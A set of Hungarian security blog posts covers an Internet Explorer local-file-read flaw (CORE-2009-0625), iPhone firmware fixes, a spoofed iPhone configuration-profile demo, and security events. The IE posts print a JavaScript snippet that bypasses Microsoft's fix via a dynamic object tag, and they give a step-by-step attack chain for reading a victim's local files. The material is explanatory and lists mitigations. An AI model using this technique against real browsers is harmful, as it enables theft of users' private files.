 Elkezdődött az idei BlackHat DC, és az ígéreteknek megfelelően tegnap Jorge Luis Alvarez Medina megtartotta azt az előadását, amelyben feltárta az Internet Explorer összes változatát érintő, illetéktelen távoli fájlhozzáférést biztosító hibahalmazának részleteit. A problémával kapcsolatban már írtam egy bejegyzést régebben, melyben a CORE-2008-0826 jelű problémát sejtettem a háttérben, mivel a nyilvánosságra került információmorzsák mindegyike beleillet a jelentsben leírt támadási folyamatra.

Mint kiderült, nem lőttem nagyon mellé: a Microsoft a fenti problémára ugyan kiadott egy javítást 2009 júniusában, de idő közben kiderült, hogy a Core Security egyik példakódja ennek ellenére is lefut egy korábban már javított IE8-on. A Microsoft álláspontja szerint a biztonsági szakértők a kérdéses kódban egy másik problémát használtak ki, melynek kihasználási módja a jelek szerint csak egy lépésben különbözik a 2008-as felfedezésétől.

A júniusi frissítésben védekezésként a Microsoft módosította az <object> tag viselkedését, amikor az a 127.0.0.1-ről betöltődő ismeretlen MIME típusú objektummal találkozik. Ha viszont az <object> taget JavaScriptből dinamikus DOM objektumként csapjuk hozzá a megjelenített weboldalhoz, a korlátozás nem érvényesül:

  <script language="Javascript">

                var obj = document.createElement("object");

                obj.data = "file://127.0.0.1/C$/.../index.dat";

                obj.type = "text/html";

                obj.id = "obj_results";

                obj.width = "500px";

                obj.height = "300px";

                document.body.appendChild(obj);

         </script>

A támadás többi rész megegyezik a korábbi sebezhetőségnél tárgyaltakkal, így vedlett át a CORE-2008-0826 CORE-2009-0625-vé. Az Internet Explorer összes támogatott változata érintett. Javítás egyelőre nincs, elkerülő megoldásokért a Microsoft figyelmeztetőjét érdemes olvasgatni.

Az Apple kiadta az iPhone és iPod Touch 3.1.3-as firmware-ét, melyben több kritikus sebezhetőséget orvosol. A problémák elsősorban az audió illetve videólejátszásért felelős modulokat érintik és kódfuttatást tesznek lehetővé speciálisan összeállított médiafájlok esetén, ezeken kívül a WebKitet is távolról rá lehet venni, hogy rosszszándékú utasításokat hajtson végre, ha sikerül a felhasználót egy megfelelően beállított FTP szerverre csalogatni. 

A berhelt iPhone-t használóknak - bár a redsn0w eszközt nem rég frissítették - természetesen most sem ajánlott az új firmware-re történő átállás.

A fentieken kívül ma még egy szifonos érdekességről lehetett olvasni: egy a Cryptopath blogon megjelent bejegyzés szerint egy kis social engineeringgel az Apple okostelefonjai pofonegyszerűen rávehetők alapvetően megbízhatatlan forrásból származó konfigurációk telepítésére.

A nagylétszámú flották távoli konfigurációját (szebb nevén: Over-The-Air provisioning) lehetővé tevő kliens szoftver csak aláírt konfigurációkat fogad el, ami jó, csakhogy a megbízható tanúsító szervezetek listáját egy az egyben átveszi a Safaritól. Ebben a listában pedig olyan szervezetek is szerepelnek, mint a VeriSign amelyek egy eldobható e-mail címért cserébe hajlandóak mindenféle nevekre demó tanúsítványokat osztani. A bloggerek csináltak is egy ilyen, 60 napos tanúsítványt az "Apple Computer" névre, majd alárítak vele egy "Security Update" címmel ellátott konfigurációt, ezt bárki elérheti a 

http://dl.dropbox.com/u/4377334/update.mobileconfig

címen. A fájl természetesen nem tesz semmi gonoszat, csak betölt egy népszerű YouTube videót, de a szakértők szerint ilyen módon módosítható a globális webproxy beállítás és a megbízható CA-k listája is, ami remek Man-in-the-Middle támadásokra ad lehetőséget. Ehhez pedig nem kell mást tenni, mint rávenni az egyszeri iPhone felhasználót, hogy telepítsen egy nagyon fontos, megbízhatónak tűnő frissítést.

Március elején hivatalos Ethical Hacking képzés indul a BME-n az Automatizálási és Alkalmazott Informatikai Tanszék és az EC-Council hazai képviselője, a NetAcademia Oktatóközpont közös szervezésében.

Hamarosan lesz egy bemutató a képzésből – gyere el!
Ha érdekel az informatikai biztonság egyik legizgalmasabb ága, az etikus hekkelés, gyere el Te is a képzésbemutatóra! Hekkelésekkel fogjuk demonstrálni, miért fontos/érdemes ezzel a területtel foglalkozni, milyen előnyöket jelent a CEH (Certified Ethical Hacker) minősítés megszerzése, illetve megtudhatsz minden részletet a képzés elvégzésével kapcsolatban.

(via Balássy György)

A bemutató időpontja és helye: február 9. 17:15-20:00, BME I épület, IB028.

Ez egyáltalán nem egy NetAcademia által támogatott poszt.

Kicsit későn szólok, de január 31-én van határideje a spanyol Campus Party 2010 rendezvényre történő jelentkezésnek. A Campus Party egy előadásokat, worksopokat és versenyeket magában foglaló rendezvény a technológia, kreativitás és digitális kultúra jegyében. Az április 14-18 között rendezendő eseményen külön szekciót szentelnek a hálózati biztonságnak, erre a területre országonként 2 főt hívnak meg. A jelentkezőknek egy kb. 30 soros önéletrajzot kell benyújtaniuk, melyben részletezik eddigi tevékenységüket, eredményeiket, publikációikat, a legmeggyőzőbb pályamunkák elkészítői vehetnek részt a Campus-on (az utazást és a szállást a spanyol állam szponzorálja). Az idei év előadói között szerepel Joanna Rutkowska és Stefano Di Paola, a témában kiírt programozói verseny fődíja pedig 2000 dollár. 

Még van négy nap, hajrá!

Az van, hogy nem tudom hol találtam a linket erre a Core Security figyelmeztetőre, minden esetre a H-Security azt írja, hogy a lent részletezett bugot már javította a Microsoft, erre utaló bejegyzést ugyanakkor sem a disclosure timeline, sem a BID nem mond semmit a javítás kiadásáról. Minden esetre szerintem egy nagyon érdekes próblémáról van szó, és nagy valószínűséggel a BlackHat-en is valami nagyon hasonlót fognak bemutatni.

Nos, eddig abban a hitben éltem, hogy az újonnan bejelentett Internet Explorer hiba részleteiről csak február 2-án szerezhetünk tudomást, amikor is a hiba felfedezője, Jorge Luis Alvarez Medina elő fogja adni a történetet a BlackHaten. Egyedül azért álltam neki ennek a posztnak, mert tisztázni akartam azt a sok marhaságot, amit a hazai hírportálok eddig leközöltek, aztán látom, hogy a Core Security teljes leírással és PoC-al szolgál az érdeklődőknek. Lássuk tehát, hogyan is lehet lenyúlni az egyszeri IE felhasználó fájljait:

1. Először is ki kell találni a célpont felhasználónevét: ez nem nehéz, ha nyitva van a 445-ös port, ahol a Windows általában a fájlmegosztást intézi, egyébként találgatni kell. Ez a történet gyenge pontja, valamint a nyelv is bezavarhat de ezzel most nem foglalkozunk (a Windowst korlátos számú nyelven adták ki, tehát a probléma áthidalható).
2. A felhasználónév alapján tudjuk, hogy milyen útvonalon lehet hozzáférni az Internet Explorer által tárolt adatokhoz, pl. a böngészési előzményekhez vagy a sütikhez.
3. Ez után a támadó elindít egy HTTP-átirányítás-láncot, ami teleszórja mindenféle címekkel a böngészési előzményeket. A trükk az, hogy ezeket egy majdnem sima szöveges állományban tárolja az IE, amibe simán berakhatunk némi HTML kódot is. 
4. A átirányítás sorozat utolsó állomása először is csinál egy <frame>-et, amibe betölt egy <object> taget tartalmazó fájlt. A böngésző mindenféle felesleges figyelmeztetéseket dobálna a felhasználónak, ha egy <object> tag-en keresztül szeretnénk hozzáférni egy fájlhoz, de amennyiben mindezt egy keretben tesszük, a figyelmeztetések eltűnnek.
5. Az <object> tag egy útközben generált, text/html MIME típusú távoli fájlra hivatkozik, ami egy 302-es HTTP átirányítással (igen, ez is feldolgozódik) a file:// protokollazonosítót használva egyszerűen átdobja a felhasználót a saját history fájljára (aminek a helyét a felhasználónévből tudjuk), amit ugyebár már előzőleg teleszórtunk HTML kóddal. 
6. Ez a kód az Internet Zónában renderelődik, aminek elvileg nincs joga hozzáférni a helyi gép erőforrásaihoz. A trükk az, hogyha a nem gépnévvel, hanem IP címmel hivatkozunk a helyi hosztra UNC formátumban (\\127.0.0.1), az IE úgy tekinti, hogy az Internet Zónában keresünk valamit, a zónán belüli olvasás pedig megengedett, így bármit kiolvashatunk, az áldozat gépéről, aminek tudjuk az elérési útját. Természetesen a kiolvasó szkriptnek a helyi hoszton kell futnia, hogy hozzáférjen a lokális fájlokhoz, erre ment ki a játék a harmadik lépésben.  

Röviden ennyi a történet, bővebb információkért nézzétek meg az eredeti leírást és tanulmányozzátok a PoC-t. A fenti furcsaságok oka egyébként nagy valószínűséggel az, hogy az IE motorját használja a Windows Explorer is. Az illetéktelen fájlolvasáshoz egy sor, önmagában ártalmatlan bug és feature láncolata vezetett, látszik tehát, hogy tervezési hibáról van szó. 

Megoldásként IE8-ra vagy alternatív böngészőre váltás, az Internet és Intranet zónák biztonsági szintjének Magasra állítása, az IE védett módú futtatása vagy a file:// protokollkezelő letiltása képzelhető el.